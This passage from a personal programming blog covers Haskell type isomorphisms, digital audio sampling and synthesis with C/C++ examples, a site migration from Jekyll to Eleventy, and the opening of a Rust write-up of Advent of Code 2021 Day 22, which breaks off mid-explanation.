Indeed, product types resemble multiplication over spaces whereas sum types suggest addition over spaces.

Isomorphism of Types

The above-mentioned mathematical representation may come in handy when refactoring/optimising code.

Suppose we want a type with two “bins”: bin A and bin B. Items can belong to either bin, but not both… How can we represent this as a type?

One way is to use Either a a. We let Left x denote items in bin A, and Right x denote those in bin B.

Is there another way to represent the problem? Yes: (Bool, a). We can use the Bool to flag whether the corresponding item is in bin A. Thus, (True, x) and (False, x) are used to denote items in bin A and B respectively.

In fact, we’ve just constructed an isomorphism between types!

The beauty is in the algebra. The equivalence above can be succinctly (and abstractly!) written as $\texttt{Either a a} {} \equiv \texttt{(Bool, a)}$—or more algebraically, $a + a = 2a$.

More formally, an isomorphism exists between types a and b if we can convert between the two types without loss of information. The most straightforward approach is to define two functions: toRHS :: a -> b and toLHS :: b -> a. Alternatively with the algebra presented above, we can easily prove isomorphisms by checking the algebraic equivalence of two types!

With the toy example presented above, our converters would be

toRHS :: Either a a -> (Bool, a)
toRHS (Left x) = (True, x)
toRHS (Right x) = (False, x)

toLHS :: (Bool, a) -> Either a a
toLHS (True, x) = Left x
toLHS (False, x) = Right x

Notice how information is preserved, i.e. $\texttt{toLHS }(\texttt{toRHS } x) = x,\ \forall x \in \texttt{Either a a}$ and $\texttt{toRHS } (\texttt{toLHS }y) = y, \ \forall y \in \texttt{(Bool, a)}$.

In the same vein, the following types are also equivalent:

$$\texttt{Maybe (Maybe a)} \equiv \texttt{Either Bool a}$$

$$\texttt{Maybe} \texttt{(Either (a, a) (Bool, a))} \equiv \texttt{(Maybe a, Maybe a)}$$

Unit Values in the Algebra of Types

But wait, there’s more! There are also null and unit types which behave just like 0 and 1 in the integers, with the usual axioms.

Meet Void and (), two very special types. Void resembles the null set: it has no concrete values. So how is this type used? Well, without any concrete values, its primary utility is in the type level. For example, in the Megaparsec parsing library, Void is used in Parsec Void u a to indicate a default option.

() is the 0-tuple, the singleton set containing () itself. (To clarify, “()” is both a type and a value, depending on the context.)

C’s void should not be confused with Haskell’s Void. The former is more like (), containing only one possible result.

With these funky creatures, we can write isomorphisms such as:

$\texttt{Either Void a} \equiv \texttt{a}$

Corresponds to $0 + a = a$.

Bijection:

toRHS :: Either Void a -> a
toRHS (Right x) = x
-- toRHS (Left x) = undefined -- Implicit.

toLHS :: a -> Either Void a
toLHS x = Right x

$\texttt{((), a)} \equiv \texttt{a}$

Corresponds to $1 \times a = a$.

Bijection:

toRHS :: ((), a) -> a
toRHS ((), x) = x

toLHS :: a -> ((), a)
toLHS x = ((), x)

You may verify that the bijections⁴ hold, i.e. show that $\texttt{toLHS }(\texttt{toRHS } x) = x$ and $\texttt{toRHS }(\texttt{toLHS } y) = y$ for any $x$ and $y$.

As for other algebraic constructions, I shall kindly leave them as an exercise for the reader. 🙃 Try coming up with examples of types and bijections for the following:

Associativity: $(a + b) + c = a + (b + c)$, $(ab)c = a(bc)$
Commutativity: $a + b = b + a$, $ab = ba$
Distribution: $a(b + c) = ab + ac$
Null: $0a = 0$

Enums as Sum Types

An aside regarding sum types and enums.

Early on I mentioned sum types as a way to combine types. Then I suggested enums as an example of sum types… But we usually think of enums as combining values, not types. What’s going on here?

Well, one way to view enums is to treat each value as if they take a unit type () parameter. That is,

data Bool = False () | True ()

(N.B. $\texttt{Bool} \equiv \texttt{Either () ()}$.)

Here, False is a data constructor while () is a type. In this version of Bool, we’re basically combining a bunch of unit types () using different tags.

In this regard, we can think of enums as sugar-coated sum types; and conversely, sum types can be thought of as glorified enums. We’ve seen how enums and sum types can be defined similarly in Haskell. The same goes for Rust and Scala 3, where the enum keyword is not only used to define enums, but also sum types (and in general, ADTs).

Conclusion and Recap

Is that all?

Au contraire.

Algebraic data types may be sufficient for most use cases, but we’ve only scratched the surface. There are more quirky animals out there! Generalised ADTs. Union/disjunctive types. Conjunctive/intersection types. Pi types.

But to recap:

Algebraic data types (ADTs) consist of product types and sum types.
By leveraging ADTs, we can write code that is meaningful and concise, modelling the real world more closely.
There are two main forms of ADTs. Both enable us to combine smaller types into larger types.
- Product types can be thought of as a multiplication on types.
- Similarly, sum types are like a summation on types.
ADTs follow mathematical laws similar to other structures (e.g. the integers), but without the inverse property. These mathematical laws allow us to rigorously reason with types.
- We can express ADTs through a mathematical algebra such as $|\texttt{(a, b)}| = a \times b$ and $|\texttt{Either a b}| = a + b$.
- Types with an equivalent algebraic representation are isomorphic. This may prove useful in refactoring and optimising.
- The algebra of types follows algebraic laws similar to the laws for integers and other algebras. There are laws on identity (e.g. $0 + a = a$), associativity, distribution, etc.
Thus, in addition to their utilitarian use, types also exhibit an aesthetic beauty.

References/Further Reading

The Algebra of Algebraic Data Types: Part 1 by Chris Taylor
Type Isomorphism by Kwang Yul Seo
The Algebra of Algebraic Data Types: Part 2 by Chris Taylor (dives into recursive ADTs!)

Footnotes

We could do the same in C++ by using Boost variant, using C++17’s std::variant, or using a tagged union (which is just a union with a uint8_t/int tag). ↩︎
std::optional was introduced in C++17, and std::expected is expected (haha) to arrive with C++23. You can still pull these types from various libraries though. ↩︎
I should mention—there are significant differences between types and sets. But please bear with me, for the sake of this post. ._. ↩︎
A bijection is also known as a one-to-one correspondence or invertible function. Each input must map to one (and only one) unique output.
Functions such as $x \mapsto \sqrt{x}$ and $x \mapsto \lfloor x \rfloor$ are not bijections since multiple inputs may map to the same output—we can't recover a unique input given an output. This is the whole idea of being invertible. ↩︎

Digital Audio Synthesis for Dummies: Part 2

2023-03-09T00:00:00Z

This is the second post in a series of posts on Digital Audio Processing. Similar to the previous post, this post stems from a lil’ MIDI keyboard project I worked on last semester and is an attempt to share the knowledge I've gained with others. This post will dive into the wonderful world of audio synthesis and introduce two important synthesis techniques: additive synthesis and wavetable synthesis.

Audio Synthesis 🎶

Where do audio signals come from? Our signal might be…

recorded. Sound waves are picked up by special hardware (e.g. a microphone) and translated to a digital signal through an ADC.
loaded from a file. There are many audio formats out there, but the most common ones are .wav and .mp3. The .wav format is simple: just store the samples as-is. Other formats compress audio to achieve smaller file sizes (which in turn, means faster upload/download speeds).
synthesised. We generate audio out of thin air (or rather, code and electronics).

I’ll mainly focus on synthesis. We’ll start by finding out how to generate a single tone, then learn how to generate multiple tones simultaneously.

Buffering 📦

A naive approach to generate audio might be:

Process one sample
Feed it to the DAC/speaker

But there are several issues with this: function call overhead may impact performance, and we have little room left to do other things. For the sound to play smoothly while sampling at 44100Hz, each sample needs to be delivered within $\frac{1}{44100}$ s = $22.6$ µs.

A better approach is to use a buffer and work in batches. The buffer will hold onto our samples before feeding it to the speaker.

Process $N$ samples and store them in a buffer
Feed all $N$ samples to the DAC/speaker

We'll focus more on step 1 (processing) for now. We'll cover step 2 (output) in the next post.

In a previous post, we discussed quantisation and how different representations (such as integers and floats) are suited for different tasks. Integers are discrete numbers, while floats are (imprecise) real numbers. Since we're concerned with audio processing, we'll be using floats and quantising from -1 to 1.

In C/C++, we can generate a sine tone like so:

#define SAMPLE_RATE 44100  // Number of samples per second.
#define BUFFER_SIZE 1024   // Length of the buffer.

// Define an array for storing samples.
float buffer[BUFFER_SIZE]; // Buffer of samples to populate, each ranging from -1 to 1.

/**
 * Generate samples of a sine wave and store them in a buffer.
 * @param freq  Frequency of the sine wave, in Hz.
 */
void generate_samples(float freq) {
    // Populate the buffer with a sine tone with frequency `freq`.
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = sin(2 * PI * freq * i / SAMPLE_RATE);
    }
}

And that’s it—we’ve just whooshed pure sine tone goodness from nothing! Granted, there are some flaws with this method (it could be more efficient, and the signal clicks when repeated); but hey, it demonstrates synthesis.

Note on Buffers: Usually, the buffer size is medium-sized power of 2 (e.g. 512, 1024, 2048, 4096...). This enhances cache loads and processing speed (dividing by a power of 2 is super easy for processors!).¹

The Fourier Theorem 📊

One fundamental theorem in signal processing is the Fourier Theorem, which relates to the composition of signals. It can be summarised into:

Any periodic signal can be broken down into a sum of sine waves.

We can express this mathematically as $$ f(x) = a_0\sin(f_0x + b_0) + a_1\sin(f_1x + b_1) + \cdots + a_n\sin(f_nx + b_n) $$ where $a_i$, $f_i$, and $b_i$ are the amplitude, frequency, and phase of each constituent sine wave.

The Fourier Theorem and Fourier Transform are ubiquitous in modern day technology. It is the basis for many audio processing techniques such as filtering, equalisation, and noise cancellation. By manipulating the individual sine waves that make up a sound, we can alter its characteristics and create new sounds. The Fourier Transform is also a key component in compression, such as the JPG image format.

What’s cool about this theorem is that we can apply it the other way: any periodic signal can be generated by adding sine waves. This lays the groundwork for additive synthesis and generating audio with multiple pitches (e.g. a chord).

Additive Synthesis ➕

The principle of additive synthesis is pretty straightforward: signals can be combined by adding samples along time.

^{Example of additive synthesis. The first and second signal show pure sine tones at 440Hz ($s_1$) and 660Hz ($s_2$). The third signal adds the two signals ($s_1 + s_2$). The fourth signal scales the third signal down to fit within $[-1, 1]$ ($(s_1 + s_2) / 2$). (Source Code)}

To sound another pitch, we simply add a second sine wave to the buffer.

#define SAMPLE_RATE 44100
#define BUFFER_SIZE 1024

float buffer[BUFFER_SIZE];

/**
 * Generate samples of two sine waves played together and store them in a buffer.
 * @param freq  Frequency of the first sine wave, in Hz.
 * @param freq2 Frequency of the second sine wave, in Hz.
 */
void generate_samples2(float freq, float freq2) {
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = 0.5f * sin(2 * PI * freq * i / SAMPLE_RATE);
        buffer[i] += 0.5f * sin(2 * PI * freq2 * i / SAMPLE_RATE);
    }
}

Again, the code above populates the buffer with 1024 samples of audio. But this time, we introduced a second frequency freq2 and added a second sample to the buffer. We also made sure to scale the resulting sample back down to the $[-1, 1]$ range by multiplying each sample by 0.5.

We can see additive synthesis in action with some help from Audacity.

Let’s start off with one tone.
- Generate a 440Hz tone (Generate > Tone… > Sine).
- Play it. You’ll hear a pure tone.
Now let’s add another tone.
- Make a new track (Tracks > Add New > Mono Track).
- Generate an 880Hz tone in the new track. Same method as above.
- Play it to hear a beautiful sounding octave.

During playback, Audacity will combine the samples from both tracks by summing them and play the summed signal.

You can try layering other frequencies (554Hz, 659Hz) to play a nifty A Major chord.

Fundamental Frequency

A side note. When combining two frequencies with additive synthesis, something subtle happens. The ground shifts and our feet fumble! The fundamental frequency implicitly changes!

DIY Example

Fire up Audacity.
Generate a 400Hz sine tone. (Generate > Tone...)
Generate a 402Hz sine tone on a different track.
Play the audio and observe. How many times does the audio peak per second?

It peaks twice per second. (That is, we implicitly added a 2Hz signal beneath!)

Specifically, the fundamental changes to the greatest common divisor (GCD) of the two frequencies.

More notes:

When we play a note and its 5th (in Just Temperament), say 440Hz and 660Hz, our fundamental is 220Hz.
With octaves, the fundamental frequency is just the frequency of the lower note.
This also leads to some interesting phenomena.
- When we play two super-low-register notes a semitone apart, we get funny, dissonant pulses emanating from our keyboard or piano.
- This may also lead to unpleasant buzzes when mixing synths, possibly due to frequency modulation on top of a steady tone.

Wavetable Synthesis 🌊

In previous code blocks, we computed samples using sin(). But what if we wanted to compute something more complex? Do we really just reverse the Fourier theorem and apply additive synthesis on a bunch of sine signals? It turns out there's a better way.

A more efficient approach is to interpolate over pre-generated values, sacrificing a bit of memory for faster runtime performance. This is known as wavetable synthesis or table-lookup synthesis. The idea is to pre-generate one cycle of the wave (e.g. a sine) and store it in a lookup table. Then when generating samples for our audio, we would look up the pre-generated samples and derive intermediate values if necessary (via interpolation).

This is akin to preparing a cheat sheet for an exam, but you're only allowed to bring one sheet of paper—space is precious. You decide to only include the most crucial equations, key points, and references. Then when taking the exam you refer to the cheat sheet for ideas, connect the dots, and combine them with your thoughts to form an answer.

^{Example of wavetable synthesis. The blue dots (above) show a pre-generated wavetable of length 32. The red dots (below) are samples of a 8Hz sine wave sampled at 100Hz, generated by interpolating on the wavetable. (Source Code)}

Wavetable synthesis can be implemented in C++ like so:

#define SINE_WAVETABLE_SIZE 256
#define SAMPLE_RATE 44100  // Number of samples per second (of the target waveform).
#define BUFFER_SIZE 1024

// The pre-generated wavetable. It should capture one cycle of the desired waveform (in this case, a sine).
float sine_wavetable[SINE_WAVETABLE_SIZE] = { /* pre-generated values ... */ };

// The phase indicates how far along the wavetable we are.
// We're concerned with two components: the integer and decimal.
// The integer part indicates the index of left sample along the wavetable, modulus the size.
// The decimal part indicates the fraction between the left and right samples.
float phase = 0;

float buffer[BUFFER_SIZE];

/**
 * Generate samples of a sine wave by interpolating a wavetable.
 * @param freq  Frequency of the sine wave, in Hz.
 */
float get_next_sample(float freq) {
    size_t idx = size_t(phase); // Integer part.
    float frac = phase - idx;   // Decimal part.

    // Get the pre-generated sample to the LEFT of the current sample.
    float samp0 = sine_wavetable[idx];

    // Get the pre-generated sample to the RIGHT of the current sample.
    idx = (idx + 1) % SINE_WAVETABLE_SIZE;
    float samp1 = sine_wavetable[idx];

    // Interpolate between the left and right samples to get the current sample.
    float inter = (samp0 + (samp1 - samp0) * frac);

    // Advance the phase to prepare for the next sample.
    phase += SINE_WAVETABLE_SIZE * freq / SAMPLE_RATE;

    return inter;
}

void generate_samples_w(float freq) {
    for (int i = 0; i < BUFFER_SIZE; i++) {
        buffer[i] = get_next_sample(freq); // We've offloaded the calculations to `get_next_sample`.
    }
}

For a sine wave, we don't gain much in terms of performance. But when it comes to generating complex waveforms, wavetable synthesis rocks!²

Wavetable synthesis is commonly used by MIDI to generate sounds. Each instrument has its own soundfont, which is a collection of wavetables of different pitches. This unifies the synthesis approach for all instruments, as some may be simple to generate (e.g. clarinet) while others are more complex.

Additive synthesis and wavetable synthesis serve two very different purposes!

Additive synthesis aims to combine multiple waveforms, of any shape and size (e.g. playing chords, or combining guitar and voice tracks).
Wavetable synthesis aims to generate a specific waveform (in a fast manner).

Besides this software approach, we can also leverage hardware to speed up processing. But this is a matter for the next post.

Exercise for the reader:

What variables affect the speed at which we iterate through the pre-generated wavetable?
What happens if we try to generate a waveform with frequency equal to half the sample rate? Or with frequency equal to the sample rate itself?

Recap 🔁

Audio generation is pretty fun once we dive deep, as are its applications: toys, electronic instruments, virtual instruments, digital synths, speakers, hearing aids, and whatnot. As before, I hope we communicated on the same wavelength and the information on this post did not experience aliasing. 😏

In the next post, we'll dive even deeper into audio synthesis (particularly in embedded systems) and engineer a simple tone generator.

To recap…

Audio samples may come from several sources. It may be recorded, loaded from a file, or synthesised.
We can synthesise musical pitches by buffering samples and feeding them to hardware.
According to the Fourier Theorem, all signals can be broken into a summation of sine waves.
To combine audio signals, we can apply additive synthesis.
- This also allows us to play multiple pitches simultaneously (chords).
We can generate complex waveforms by using wavetable synthesis, which trades memory for speed by sampling pre-generated signals.

Further Reading:

Waveforms (Sine, Square, Triangle, Sawtooth)
- Most audio synthesis tutorials cover simple waveforms; but as internet content is saturated here, I'll just drop a couple links. I couldn't find an article I like that introduces these waveforms in all their glory. If you know of better articles, let me know.
- Perfect Circuit (conceptual, high-level)
- Electronics Tutorial (geared towards electronics; would be a nice read to prepare for the next post)
Beginner’s Guide: Everything you need to know about synthesis in music production – Introduces more forms of audio synthesis, geared towards music production.

Footnotes

Boy, do I have a lot to say about buffers. Why is the buffer size important? Small buffers may reduce the efficacy of batching operations (which is the primary purpose of buffers). Large buffers may block the processor too much, making it sluggish to respond to new input. Choosing an appropriate buffer size also depends on your sampling rate. With a buffer size of 1024 sampling at 44100Hz, we would need to generate our samples every $\frac{1024}{44.1\text{kHz}} \approx 23.2$ ms. On a single processor, this means we have less than 23.2 ms to perform other tasks (e.g. handle UI, events, etc.). ↩︎
Guess what? There are more ways to optimise wavetable synthesis—so it'll rock even more! See the open source LEAF library for an example of optimised wavetable synthesis in C. ↩︎

Digital Audio Synthesis for Dummies: Part 1

2023-02-24T00:00:00Z

A while back I worked on a lil’ MIDI keyboard project and learnt a lot regarding digital audio signal processing. This post is the first in a series of posts related to that project and aims to provide a springboard for those who wish to get their feet wet with audio processing.

Dealing with Data 📈

When processing data of any form, we are concerned with the data’s quality. Higher quality data may lead to a more thorough analysis and better user experience, but also demand higher memory and computing requirements.

With audio, we are concerned with two dimensions of quality: sampling (time) and quantisation (bit depth).

Sampling 🔪

Sampling refers to how much we “chop” a signal. Suppose our signal is a carrot. For a stew, we may want longer samples (sparser chops). With rice, however, it's better to go with shorter samples (denser chops).

^{Blue line: original, continuous signal. Red dots: sampled, discrete signal. At higher sample rates, we chop densely, and more information is retained. At lower sample rates, we chop sparsely, but the sampled signal struggles to capture the peaks and troughs.}

Digital audio signals are represented discretely by storing samples at regular intervals instead of using a single continuous line.

The sample rate refers to how fast we chop, how fast we sample our audio. Choosing an appropriate sample rate for your application is an important consideration. A higher rate yields more information per second, at the expense of space.

Audio is usually sampled at 44.1kHz or 48kHz (i.e. 44,100 or 48,000 samples per second). But why are these rates so common? To answer this, we first need to learn about the…

Nyquist-Shannon Sampling Theorem

The Nyquist-Shannon Sampling Theorem (aka the Nyquist Theorem) is an important consideration when choosing a sample rate for your application. According to this theorem, in order to accurately reconstruct a continuous signal such as audio, it must be sampled at a rate that is at least twice the highest frequency component of the signal. This threshold is also called the Nyquist frequency.

For example, if we want to store a 1kHz audio signal, we would need to sample at 2kHz or more. Humans can hear frequencies in the range 20Hz – 20kHz, so if we want to capture all audible sounds, our sample rate needs to be at least 40kHz.

This is important to avoid aliasing, which occurs when high frequency components of a signal are mistakenly interpreted as lower frequency components. Aliasing results in distortion and can lead to inaccurate representation of the original signal.

The diagram below demonstrates aliasing, which happens when our sample rate is too low.

^{(a) Sampling a 20kHz signal at 40kHz captures the original signal correctly. (b) Sampling the same 20kHz signal at 30kHz captures an aliased (low frequency ghost) signal. (Source: Embedded Media Processing.¹)}

The Nyquist Theorem explains why we usually sample above 40kHz, but why 44.1kHz specifically? Well, there are historical reasons (pioneering decisions) and mathematical reasons (factoring and downsampling).² Also, being lenient with our sampling frequency gives filters more flexibility.³

Quantisation 🪜

While sampling deals with resolution in time, quantisation deals with resolution in dynamics (or loudness). Here, we’re concerned with two things: quality and data storage (in files or RAM).

Like sampling, quantisation affects how well a signal is represented. If we quantise with 1 bit, then each sample has only two possible values (0 or 1). This means we can represent square waves (where high=1, low=0). But we can’t represent sine waves since the values in between that make up a sine wave aren’t in our vocabulary.

^{Blue: original signal; Red: quantised signal. Higher quantisation leads to better audio quality. With 1 or 2 bits, we can barely tell the signal is reproduced. With more bits, the signal is more faithfully reproduced.}

Higher quantisation also gives us greater dynamic resolution. With 1 bit, we're limited to absolute silence (0) or an ear-shattering loudness (1). With 8 bits, we have $2^8 = 256$ different "volume settings" to choose from—much more quality than simple 1s and 0s!
Regarding data storage, the less number of bits needed per sample, the more memory saved. When storing samples in files, most applications quantise to 16-bit integers, which allow for a decent resolution of -32,768 to +32,767 at two bytes per sample (1 byte being 8 bits). 32-bit floats are another common representation, bringing substantially greater detail at the expense of twice the space.⁴

^{Each block is an audio sample. Lower quantisation leads to more compact storage.⁵}

Now when storing audio in RAM for audio processing, it's easier to work with floats in the range of -1.0 to 1.0. Why the smaller range? Well, if we work directly with the maxima, we may easily encounter errors. With integers, we would experience integer overflow, which wraps positive values to negative values—a horrid nightmare! With floats, we would venture into the territory of infinity, which disrupts subsequent computations.

Thus, we use a smaller range to allow room for processing.

Audio Mishaps and Bugs 🐞

If you know the enemy and know yourself, you need not fear the result of a hundred battles. – Sun Tzu, The Art of War

Sometimes when experimenting with audio, something goes amiss. The most common issues are aliasing, clipping, and clicks. These pesky lil' issues may crop up when processing audio... all the more important to understand how to mitigate them.

Pro Tip: Oscilloscopes are your friend! If you encounter weird sounds, you can feed your processed signal into an oscilloscope (analogue or digital) to check for issues.

Aliasing

We mentioned aliasing earlier. Aliasing occurs when a signal is sampled insufficiently, causing it to appear at a lower frequency.

Generally, increasing the sample rate helps (or lowering the maximum frequency). In any case, it's wise to be vigilant with your sample rate and frequency range.

Clipping ✂️

Clipping occurs when our samples go out-of-bounds, past the maximum/minimum quantisation value. Clipping may cause our signal to wraparound or flatten at the peaks and troughs.

^{Example of wraparound clipping, typically due to integer overflow/underflow.}

^{Example of a signal flattened at the peaks and troughs due to clamping.}

Clipping arises from neglecting dynamic range. It can be addressed by scaling down the signal (multiplying samples by a factor below 1) or by using dynamic range compression (loud noises are dampened, soft noises are left unchanged).

Clicks

Clicks (aka pops) occur when a signal behaves discontinuously with large differences between samples. This difference forces the speaker hardware to vibrate quickly… too quickly.

^{Signal jumps from -1.0 to 1.0, causing my speaker to pop and my ear drums to bleed from utter despair.}

Clicks may arise from trimming or combining audio recordings without applying fades. In audio synthesis, mismanagement of buffers and samples may also be a factor.⁶

Recap 🔁

Audio processing is ubiquitous in daily life. In this post, we explored how digital audio works under the hood. Hopefully we communicated on the same wavelength and no aliasing occurred on your end. 😏

In the next post, we'll look at audio synthesis: the making of audio from nothing.

To recap…

Fundamental to audio processing is the quality of audio data. This comes in two forms: sampling and quantisation.
- Sampling refers to the discretisation and resolution of a signal in time.
  - Higher sample rate = more information per second = higher quality.
- Quantisation refers to the bit depth, the resolution in loudness.
  - Higher bit depth = higher quality.
- Higher quality comes with the cost of higher memory consumption.
- To accurately reconstruct a signal, the Nyquist Theorem states the sample rate should surpass the Nyquist frequency (twice the maximum frequency of the signal).
  - Sample rates below the signal's Nyquist frequency are prone to aliasing.
Some common issues to audio processing are aliasing, clipping, and clicks.
- Aliasing occurs when a signal is misinterpreted to be of lower frequency.
- Clipping occurs when samples exceed the dynamic range and are cut.
- Clicks occur when samples contain a large difference, causing the speaker to vibrate too quickly.

Footnotes

Katz, D; Gentile, R. 2005. Embedded Media Processing. They’ve provided Chapter 5: Embedded Audio Processing as a preview. It's a nice read. ↩︎
44,100 can be factored into $2^2 \times 3^2 \times 5^2 \times 7^2$, which is useful for downsampling to various applications. It's very easy to downsample by a factor of the original sample. For instance, if we want to downsample by a factor of 2, we simply skip every other sample (or interpolate between). ↩︎
See also: Why do we choose 44.1 kHz as recording sampling rate? ↩︎
How much more detail do floats have over integers? 32-bit floats range from about -10³⁸ to +10³⁸ whereas 32-bit integers range from about -10⁹ to +10⁹. Sadly, the increased range of floats comes with a downside: reduced precision. But that's alright. Floats are precise up to 7 significant figures, which is fine in a lot of cases! For more info on floating points, see the Wikipedia page on 32-bit floats. ↩︎
When storing audio in files or transmitting audio, we usually encode and compress the audio to save space. Out of scope for this post though. :( ↩︎
Fox, Arthur. What Causes Speakers To Pop And Crackle, And How To Fix It ↩︎

Site Migration to Eleventy

2023-02-04T00:00:00Z

This post contains a brief explanation of this site’s migration and improvement over the last week.

Jekyll and Eleventy (aka 11ty) are static site generators (SSGs)—programs that take us from templated code + blog posts written in Markdown to full-fledged static websites. 11ty is one of the newer, growing SSGs out there. Of course, we can't have a migration post without the appropriate meme, so let's start with that:

Rambling About Eleventy

The Good

Some key things I really like about 11ty so far... (keep in mind I’m coming from Jekyll)...

Loads of plugins
- The JavaScript (JS) and npm ecosystem is pretty diverse. I’m guessing it’s because most plugins were built for Next.js (another popular, mature SSG) and were modular enough to work with 11ty. For context, Jekyll is a Ruby library, and its plugins are lacking (in number and maintenance).
- Some plugins don’t work straight out of the box. They may need some careful tuning… or there may be an 11ty plugin alternative. 11ty plugins are more geared towards 11ty compared to regular plugins.
Flexibility
- Very easy and flexible to manage data, including front matter data and site metadata.
- Pagination is built into front matter and works like a charm.
- You can add your own Liquid/Nunjucks filters from JS. This way logic is expressed more clearly and concisely. I rewrote my code for finding related posts this way. Some things are better left to JS.
- You can use a web framework such as React or Vue if you want. But it’s not needed. “Frameworks come and go”, as they say.
Nunjucks > Liquid
- Ah yesss, ternary expressions! Inline math! Comments look nicer as well.
- Thought that was all? Get MINDBLOWN by importable macros and template inheritance.
- Liquid and Nunjucks are templating languages, promoting code and layout reuse. They can also be used to generate post lists, feeds, and data files. With Jekyll, you're stuck with Liquid; but with 11ty, you're free to choose from a variety. Usually people recommend Nunjucks—with good reason too!
- Although Nunjucks builds twice as slow compared to Liquid, this is a fine trade-off considering the sweeter programming experience.
Build speed
- It’s pretty fast. Comparable to Hugo (which is the fastest SSG out there).
- Great if you have a thousand posts, though I probably won’t write beyond a couple hundred in my entire lifetime.
- With Jekyll, the site took 10-30s to build. 11ty? 2-8s. Maybe I should refactor some JS to make it go even faster.
Active community support (via Discord).
- To be fair, I never asked for support in the Jekyll forums since the questions I had were already answered.
- But the people that addressed my 11ty questions were pretty nice.

The Meh

Not everything is rainbows and sunshine. Time to be salty now. Some things I feel iffy about...

404 doesn’t work in localhost. It forces(?) me to use a Content Security Policy, which makes the site more secure in hindsight, but it’s annoying to deal with. One reason I decided to remove Google Analytics¹ was to escape from such trouble. Although... I was using the beta version... so there were bound to be bugs...
Still haven’t figured out how to minify CSS and JS. The architecting involved seems a bit weird… I may check it out again some time.

Update!

After digging through GitHub issues, I finally got JS minifying to work using Passthrough Copy and an underlying transform option.
Less mature. Granted, new technology is always less mature. 11ty has fewer examples compared to Jekyll, but the ones that are available are pretty good.

Other Site Improvements

Also, while we’re on the meta topic of this site. You may notice some improvements, such as…

Better UI components on these posts. The sidebars were made using position: sticky; in CSS, along with other magic. Social links are also reorganised and collapse nicely under a button for smol screens.
The site should feel more minimalist, as I’ve ditched a bunch of cards and borders.
Figured out how to add a Discord link. :D
Revised the Home Page. There’s more stuff there now. Go check it out!

There are still a few pages and components I want to migrate and add, but I shall leave those for another time.

Footnotes

Yes, I was using analytics. But sssshhh… ↩︎

AOC 2021 Day 22 – Reactor Reboot

2022-12-02T00:00:00Z

This post is a (very very late) writeup on solving the Advent of Code 2021 Day 22 challenge. This was one of the challenges I spent more time on, and ended up developing three algorithms (which is a bit overkill), all using set theory. I also ended up writing all three in both Haskell and Rust, and benchmarking to compare the runtimes. Needless to say, Rust ran about 25%-50% faster, but performance tuning is not the main point of this article.

I'll mainly show code snippets and implementations in Rust, well, because I think it's more readable. But the general ideas are similar in Haskell.

The Problem

It’s a fun, little problem. We're given a list of input. Each line specifies an action (on or off) and a cuboid (rectangular prism) of points x=10..12,y=10..12,z=10..12. Each line will switch all points within the cuboid on or off.

Sample input:

on x=10..12,y=10..12,z=10..12
on x=11..13,y=11..13,z=11..13
off x=9..11,y=9..11,z=9..11
on x=10..10,y=10..10,z=10..10

The objective is to determine the number of points that are still on after applying every line.

Solving

There are three main components to most of my AOC solves. For this challenge, we'll be implementing these functions.

fn parse(contents: String) -> Vec<Command> { ... },
fn part1(cmds: &Vec<Command>) -> u32 { ... }, and
fn part2(cmds: &Vec<Command>) -> u32 { ... }.

For Day 22, the only difference between part 1 and part 2 is the bound size, so a solution for part 2 would also be able to solve part 1 (but of course I didn't know this until later).

Parsing

Parsing is actually pretty straightforward, so let's get it out of the way first. Essentially, we translate each line of text to a 2-tuple: (bool, Cuboid).

// Some useful type aliases.
#[allow(non_camel_case_types)]
type cube_t = i64;

// Each pair corresponds to min/max values in a dimension.
type Cuboid = ((cube_t, cube_t), (cube_t, cube_t), (cube_t, cube_t));
struct Command(bool, Cuboid);

// Parse takes a String and returns a Vec of Commands.
fn parse(contents: String) -> Vec<Command> {
    let re = Regex::new(r"(on|off) x=(-?\d+)..(-?\d+),y=(-?\d+)..(-?\d+),z=(-?\d+)..(-?\d+)").unwrap();
    contents
        .lines() // Split text at lines.
        .map(|s| {
            for cap in re.captures_iter(s) { // Match with regex, and get capture groups.
                return Command(
                    // Capture group 0 is the entire matched string. So we start with 1, to obtain the first capture group.
                    cap[1].eq("on"),
                    (   // str's parse is builtin and returns an Option<_>.
                        (cap[2].parse::<cube_t>().unwrap(), cap[3].parse::<cube_t>().unwrap()),
                        (cap[4].parse::<cube_t>().unwrap(), cap[5].parse::<cube_t>().unwrap()),
                        (cap[6].parse::<cube_t>().unwrap(), cap[7].parse::<cube_t>().unwrap()),
                    ),
                );
            }
            unreachable!("aaaaaah") // Safety measure. We assume all lines follow the above pattern.
        })
        .collect()
}

A Naive Approach

Our first attempt may be to use a naive brute force approach. We keep track of every single point and whether it is toggled or not. Of course this will not scale well especially if the cubes become larger; but for part 1 of the challenge, it is sufficient. Part 1 simply confines the scope of our problem to ((-50, 50), (-50, 50), (-50, 50)). Any points activated or deactivated outside can be disregarded.

We can use a HashSet to store the 3D points. on would correspond with set.insert and off would correspond to set.remove. Thus after processing, we just need to count the number of elements (set.len()) to get the number of points that are left on.

Further, we’ll also restrict our scope by using .max and .min so that if, say x1 is way out there at -1000, x1.max(-r) will pull it back to -50.

// Solution 1: Brute-force Approach.
type Set = HashSet<(cube_t, cube_t, cube_t)>;

fn brute_force(cmds: &Vec<Command>) -> u32 {
    let mut set: Set = HashSet::new();
    let r = 50;
    for &Command(onoff, ((x1, x2), (y1, y2), (z1, z2))) in cmds {
        for i in x1.max(-r)..=x2.min(r) {
            for j in y1.max(-r)..=y2.min(r) {
                for k in z1.max(-r)..=z2.min(r) {
                    if onoff {
                        set.insert((i, j, k));
                    } else {
                        set.remove(&(i, j, k));
                    }
                }
            }
        }
    }
    set.len() as u32
}

Simple, right? Unfortunately for large cuboids this approach becomes extremely slow. By “large”, I mean cuboids like x=-100000..100000, y=-100000..100000, z=-100000..100000.

To deal with these big numbers, we need to bring in some big guns!

A Set Union Approach

In part 1, our scope was limited to a 100x100x100 cube centred on the origin. Part 2 removes this scope, meaning we have to take into account every single point in existence! Time to use this organ called the brain!

Let’s start with some investigative work and put on our thinking caps. For the moment, let’s imagine we’re working in 2D instead of 3D. Also, imagine our input is in some generic form.

^{$A$ on, $B$ on, $C$ on.}

^{$A$ on, $B$ off, $C$ on.}

When $A$ turns on, all the points in $A$ light up. Currently, we have $|A|$ points. Now let’s explore our next options.

$B$ turns on. We now have $|A \cup B|$ points.
$B$ turns off. How many points were switched off? Well, we simply subtract the intersection $|A \cap B|$, so that we end up with $|A| - |A \cap B| = |A \cup B| - |B|$ points.

Continuing further, we have

$B$ on: $|A \cup B|$.
